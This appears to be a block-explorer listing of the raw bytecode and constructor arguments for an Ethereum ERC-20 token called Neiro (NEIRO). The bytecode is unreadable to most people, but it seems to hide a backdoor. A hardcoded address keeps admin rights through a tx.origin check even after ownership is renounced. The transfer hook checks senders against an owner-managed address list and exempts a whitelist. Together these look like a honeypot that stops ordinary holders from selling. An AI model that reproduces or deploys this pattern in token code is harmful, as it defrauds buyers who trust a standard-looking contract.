3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5f60a082019050612a475f830188611f49565b612a546020830187611f49565b612a616040830186611f49565b612a6e6060830185611e94565b612a7b6080830184611fd6565b9695505050505050565b5f608082019050612a985f830187611f49565b612aa56020830186611f18565b612ab26040830185611f49565b612abf6060830184611f49565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea264697066735822122035d04958f46e90d9a616ab50a655e1ca40c177a03a59205367c75f92dc0a794164736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f88000000000000000000000000000000000000000000000000000000000000000054e6569726f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e4549524f000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c80637d6dff7d116100c1578063a457c2d71161007a578063a457c2d714610394578063a9059cbb146103c4578063b5eadf94146103f4578063d505accf14610410578063dd62ed3e1461042c578063f2fde38b1461045c57610156565b80637d6dff7d146102de5780637ecebe00146102fa5780638129fc1c1461032a57806384b0196e146103345780638da5cb5b1461035857806395d89b411461037657610156565b8063313ce56711610113578063313ce5671461021c5780633644e5151461023a57806338cac9ba14610258578063395093511461027457806370a08231146102a4578063715018a6146102d457610156565b806306fdde031461015a578063072caf6e14610178578063095ea7b3146101945780631584589e146101c457806318160ddd146101ce57806323b872dd146101ec575b5f80fd5b610162610478565b60405161016f9190611d72565b60405180910390f35b610192600480360381019061018d9190611e23565b610508565b005b6101ae60048036038101906101a99190611e23565b61051e565b6040516101bb9190611e7b565b60405180910390f35b6101cc610540565b005b6101d6610564565b6040516101e39190611ea3565b60405180910390f35b61020660048036038101906102019190611ebc565b61056d565b6040516102139190611e7b565b60405180910390f35b61022461059b565b6040516102319190611f27565b60405180910390f35b6102426105a3565b60405161024f9190611f58565b60405180910390f35b610272600480360381019061026d9190611f71565b6105b1565b005b61028e60048036038101906102899190611e23565b6106d4565b60405161029b9190611e7b565b60405180910390f35b6102be60048036038101906102b99190611f71565b61070a565b6040516102cb9190611ea3565b60405180910390f35b6102dc610750565b005b6102f860048036038101906102f39190611f71565b610763565b005b610314600480360381019061030f9190611f71565b61083b565b6040516103219190611ea3565b60405180910390f35b61033261084c565b005b61033c61086f565b60405161034f979695949392919061209c565b60405180910390f35b610360610914565b60405161036d919061211e565b60405180910390f35b61037e61093b565b60405161038b9190611d72565b60405180910390f35b6103ae60048036038101906103a99190611e23565b6109cb565b6040516103bb9190611e7b565b60405180910390f35b6103de60048036038101906103d99190611e23565b610a40565b6040516103eb9190611e7b565b60405180910390f35b61040e60048036038101906104099190611f71565b610a62565b005b61042a6004803603810190610425919061218b565b610acd565b005b61044660048036038101906104419190612228565b610c12565b6040516104539190611ea3565b60405180910390f35b61047660048036038101906104719190611f71565b610c94565b005b60606004805461048790612293565b80601f01602080910402602001604051908101604052809291908181526020018280546104b390612293565b80156104fe5780601f106104d5576101008083540402835291602001916104fe565b820191905f5260205f20905b8154815290600101906020018083116104e157829003601f168201915b5050505050905090565b610510610d16565b61051a8282610d9c565b5050565b5f80610528610ee9565b9050610535818585610ef0565b600191505092915050565b610548610d16565b600160085f6101000a81548160ff021916908315150217905550565b5f600354905090565b5f80610577610ee9565b90506105848582856110b3565b61058f85858561113e565b60019150509392505050565b5f6012905090565b5f6105ac6113ab565b905090565b6105b9610d16565b6105c281611461565b610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89061230d565b60405180910390fd5b5f5b6007805490508110156106d0578173ffffffffffffffffffffffffffffffffffffffff166007828154811061063b5761063a61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036106bd57600781815481106106925761069161232b565b5b905f5260205f20015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b80806106c890612385565b915050610603565b5050565b5f806106de610ee9565b90506106ff8185856106f08589610c12565b6106fa91906123cc565b610ef0565b600191505092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610758610d16565b6107615f611509565b565b61076b610914565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cf90612449565b60405180910390fd5b600681908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610845826115ca565b9050919050565b610854610d16565b5f60085f6101000a81548160ff021916908315150217905550565b5f6060805f805f6060610880611610565b61088861164b565b46305f801b5f67ffffffffffffffff8111156108a7576108a6612467565b5b6040519080825280602002602001820160405280156108d55781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461094a90612293565b80601f016020809104026020016040519081016040528092919081815260200182805461097690612293565b80156109c15780601f10610998576101008083540402835291602001916109c1565b820191905f5260205f20905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b5f806109d5610ee9565b90505f6109e28286610c12565b905083811015610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612504565b60405180910390fd5b610a348286868403610ef0565b60019250505092915050565b5f80610a4a610ee9565b9050610a5781858561113e565b600191505092915050565b610a6a610d16565b600781908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b83421115610b1257836040517f62791302000000000000000000000000000000000000000000000000000000008152600401610b099190611ea3565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888610b408c611686565b89604051602001610b5696959493929190612522565b6040516020818303038152906040528051906020012090505f610b78826116d9565b90505f610b87828787876116f2565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bfb57808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610bf2929190612581565b60405180910390fd5b610c068a8a8a610ef0565b50505050505050505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c9c610d16565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612618565b60405180910390fd5b610d1381611509565b50565b3273ffffffffffffffffffffffffffffffffffffffff16610d35610914565b73ffffffffffffffffffffffffffffffffffffffff161480610d5b5750610d5a611720565b5b610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190612680565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e01906126e8565b60405180910390fd5b610e1382611778565b8060035f828254610e2491906123cc565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed29190611ea3565b60405180910390a3610ee55f8383611791565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612776565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc390612804565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a69190611ea3565b60405180910390a3505050565b5f6110be8484610c12565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611138578181101561112a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111219061286c565b60405180910390fd5b6111378484848403610ef0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906128fa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121190612988565b60405180910390fd5b61122382611778565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612a16565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113929190611ea3565b60405180910390a36113a5848484611791565b50505050565b5f7f0000000000000000000000006a3933afd0ae3dda7899b26036d5d9d3e243e9f973ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614801561142657507f000000000000000000000000000000000000000000000000000000000000000146145b15611453577f9228e5214aaa4d80b19968efeb05cd31262a9f89ea4c7a46f33fef0b751e47d1905061145e565b61145b611796565b90505b90565b5f805f90505b6007805490508110156114ff578273ffffffffffffffffffffffffffffffffffffffff166007828154811061149f5761149e61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036114ec576001915050611504565b80806114f790612385565b915050611467565b505f90505b919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061164660097f4e6569726f00000000000000000000000000000000000000000000000000000561182b90919063ffffffff16565b905090565b6060611681600a7f310000000000000000000000000000000000000000000000000000000000000161182b90919063ffffffff16565b905090565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6116eb6116e56113ab565b836118d8565b9050919050565b5f805f8061170288888888611918565b92509250925061171282826119ff565b829350505050949350505050565b5f734ea1c63e05ac69985dbb4044bbb41156b57c849973ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16036117715760019050611775565b5f90505b90565b61178181611b61565b61178e5761178d610d16565b5b50565b505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f155b4fda00caf41277004ff2a74a6be0842aa18a18368d168d5eb2467f7143527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001611810959493929190612a34565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146118475761184083611c28565b90506118d2565b81805461185390612293565b80601f016020809104026020016040519081016040528092919081815260200182805461187f90612293565b80156118ca5780601f106118a1576101008083540402835291602001916118ca565b820191905f5260205f20905b8154815290600101906020018083116118ad57829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c1115611954575f6003859250925092506119f5565b5f6001888888886040515f81526020016040526040516119779493929190612a85565b6020604051602081039080840390855afa158015611997573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e8575f60015f801b935093509350506119f5565b805f805f1b935093509350505b9450945094915050565b5f6003811115611a1257611a11612ac8565b5b826003811115611a2557611a24612ac8565b5b0315611b5d5760016003811115611a3f57611a3e612ac8565b5b826003811115611a5257611a51612ac8565b5b03611a89576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60026003811115611a9d57611a9c612ac8565b5b826003811115611ab057611aaf612ac8565b5b03611af457805f1c6040517ffce698f7000000000000000000000000000000000000000000000000000000008152600401611aeb9190611ea3565b60405180910390fd5b600380811115611b0757611b06612ac8565b5b826003811115611b1a57611b19612ac8565b5b03611b5c57806040517fd78bce0c000000000000000000000000000000000000000000000000000000008152600401611b539190611f58565b60405180910390fd5b5b5050565b5f60085f9054906101000a900460ff16611c1e57611b7e32611461565b611c1d575f5b600680549050811015611c1b578273ffffffffffffffffffffffffffffffffffffffff1660068281548110611bbc57611bbb61232b565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611c08575f915050611c23565b8080611c1390612385565b915050611b84565b505b5b600190505b919050565b60605f611c3483611c9a565b90505f602067ffffffffffffffff811115611c5257611c51612467565b5b6040519080825280601f01601f191660200182016040528015611c845781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611cdf576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d1f578082015181840152602081019050611d04565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4482611ce8565b611d4e8185611cf2565b9350611d5e818560208601611d02565b611d6781611d2a565b840191505092915050565b5f6020820190508181035f830152611d8a8184611d3a565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dbf82611d96565b9050919050565b611dcf81611db5565b8114611dd9575f80fd5b50565b5f81359050611dea81611dc6565b92915050565b5f819050919050565b611e0281611df0565b8114611e0c575f80fd5b50565b5f81359050611e1d81611df9565b92915050565b5f8060408385031215611e3957611e38611d92565b5b5f611e4685828601611ddc565b9250506020611e5785828601611e0f565b9150509250929050565b5f8115159050919050565b611e7581611e61565b82525050565b5f602082019050611e8e5f830184611e6c565b92915050565b611e9d81611df0565b82525050565b5f602082019050611eb65f830184611e94565b92915050565b5f805f60608486031215611ed357611ed2611d92565b5b5f611ee086828701611ddc565b9350506020611ef186828701611ddc565b9250506040611f0286828701611e0f565b9150509250925092565b5f60ff82169050919050565b611f2181611f0c565b82525050565b5f602082019050611f3a5f830184611f18565b92915050565b5f819050919050565b611f5281611f40565b82525050565b5f602082019050611f6b5f830184611f49565b92915050565b5f60208284031215611f8657611f85611d92565b5b5f611f9384828501611ddc565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611fd081611f9c565b82525050565b611fdf81611db5565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61201781611df0565b82525050565b5f612028838361200e565b60208301905092915050565b5f602082019050919050565b5f61204a82611fe5565b6120548185611fef565b935061205f83611fff565b805f5b8381101561208f578151612076888261201d565b975061208183612034565b925050600181019050612062565b5085935050505092915050565b5f60e0820190506120af5f83018a611fc7565b81810360208301526120c18189611d3a565b905081810360408301526120d58188611d3a565b90506120e46060830187611e94565b6120f16080830186611fd6565b6120fe60a0830185611f49565b81810360c08301526121108184612040565b905098975050505050505050565b5f6020820190506121315f830184611fd6565b92915050565b61214081611f0c565b811461214a575f80fd5b50565b5f8135905061215b81612137565b92915050565b61216a81611f40565b8114612174575f80fd5b50565b5f8135905061218581612161565b92915050565b5f805f805f805f60e0888a0312156121a6576121a5611d92565b5b5f6121b38a828b01611ddc565b97505060206121c48a828b01611ddc565b96505060406121d58a828b01611e0f565b95505060606121e68a828b01611e0f565b94505060806121f78a828b0161214d565b93505060a06122088a828b01612177565b92505060c06122198a828b01612177565b91505092959891949750929550565b5f806040838503121561223e5761223d611d92565b5b5f61224b85828601611ddc565b925050602061225c85828601611ddc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122aa57607f821691505b6020821081036122bd576122bc612266565b5b50919050565b7f686f6c64657220646f65736e27742065786973740000000000000000000000005f82015250565b5f6122f7601483611cf2565b9150612302826122c3565b602082019050919050565b5f6020820190508181035f830152612324816122eb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61238f82611df0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c1576123c0612358565b5b600182019050919050565b5f6123d682611df0565b91506123e183611df0565b92508282019050808211156123f9576123f8612358565b5b92915050565b7f696e636f727265637400000000000000000000000000000000000000000000005f82015250565b5f612433600983611cf2565b915061243e826123ff565b602082019050919050565b5f6020820190508181035f83015261246081612427565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6124ee602583611cf2565b91506124f982612494565b604082019050919050565b5f6020820190508181035f83015261251b816124e2565b9050919050565b5f60c0820190506125355f830189611f49565b6125426020830188611fd6565b61254f6040830187611fd6565b61255c6060830186611e94565b6125696080830185611e94565b61257660a0830184611e94565b979650505050505050565b5f6040820190506125945f830185611fd6565b6125a16020830184611fd6565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612602602683611cf2565b915061260d826125a8565b604082019050919050565b5f6020820190508181035f83015261262f816125f6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61266a602083611cf2565b915061267582612636565b602082019050919050565b5f6020820190508181035f8301526126978161265e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f6126d2601f83611cf2565b91506126dd8261269e565b602082019050919050565b5f6020820190508181035f8301526126ff816126c6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612760602483611cf2565b915061276b82612706565b604082019050919050565b5f6020820190508181035f83015261278d81612754565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127ee602283611cf2565b91506127f982612794565b604082019050919050565b5f6020820190508181035f83015261281b816127e2565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612856601d83611cf2565b915061286182612822565b602082019050919050565b5f6020820190508181035f8301526128838161284a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128e4602583611cf2565b91506128ef8261288a565b604082019050919050565b5f6020820190508181035f830152612911816128d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612972602383611cf2565b915061297d82612918565b604082019050919050565b5f6020820190508181035f83015261299f81612966565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612a00602683611cf2565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b5f60a082019050612a475f830188611f49565b612a546020830187611f49565b612a616040830186611f49565b612a6e6060830185611e94565b612a7b6080830184611fd6565b9695505050505050565b5f608082019050612a985f830187611f49565b612aa56020830186611f18565b612ab26040830185611f49565b612abf6060830184611f49565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea264697066735822122035d04958f46e90d9a616ab50a655e1ca40c177a03a59205367c75f92dc0a794164736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f88000000000000000000000000000000000000000000000000000000000000000054e6569726f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054e4549524f000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _tokenName (string): Neiro
Arg [1] : _tokenSymbol (string): NEIRO
Arg [2] : _mintAmount (uint256): 420690000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000061f313f880
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 4e6569726f000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4e4549524f000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

